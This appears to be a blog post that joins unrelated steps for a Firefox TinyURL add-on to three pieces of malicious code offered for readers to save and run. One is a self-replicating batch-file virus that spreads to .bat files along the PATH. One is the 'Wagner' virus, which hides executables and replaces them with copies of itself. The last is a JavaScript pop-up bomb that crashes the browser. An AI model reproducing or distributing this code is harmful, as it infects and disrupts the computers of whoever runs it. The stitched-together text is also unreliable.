• Install Fiirefox Tinyurl addon Creator.
• Once Installed Right Click on any link and choose “create tinyurl link for this page”.
• The TinyUrl Creator is accessible in the Tools menu and in the right-click context menu. You can even add it to your toolbars as an icon (View > Toolbars > Customize)
• You can also view your Saved Tiny url Link from Tools > Tinyurl creator > view Saved

Code 1:

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append/x:on path(chanceminimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

:ViRuS_multiply
find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
:XXX_END


Type or Copy the above code in Notepad and save it as "anyname.bat"

Code 2:

@echo off
ctty nul
rem ______________________________________________________________
rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
rem :This virus can be cured simply by typing "attrib -h -r *.*" in
rem :infected directories and deleting BAT files that are identical
rem :to this code, then rename the files having a "V" at the start
rem :to their original names. NOTE: Does not infect COMMAND.COM.
rem :______________________________________________________________
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=

rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

Save it as "anyname.bat".

Code 3: Shutdown Forcebly

<*HTML>
<*HEAD>
<*TITLE>WARNING! Infecting Virus!

<*BODY onload="WindowBomb()">
<*script LANGUAGE="JavaScript">

*function WindowBomb()
*{var iCounter = 0 // dummy counter

*while (true)
*{
*window.open("http://www.winsoft32.blogspot.com","CRASHING" + *iCounter,"width=1,height=1,resizable=no")
*iCounter++
}
}

paste it in notepad then save it as anyname.html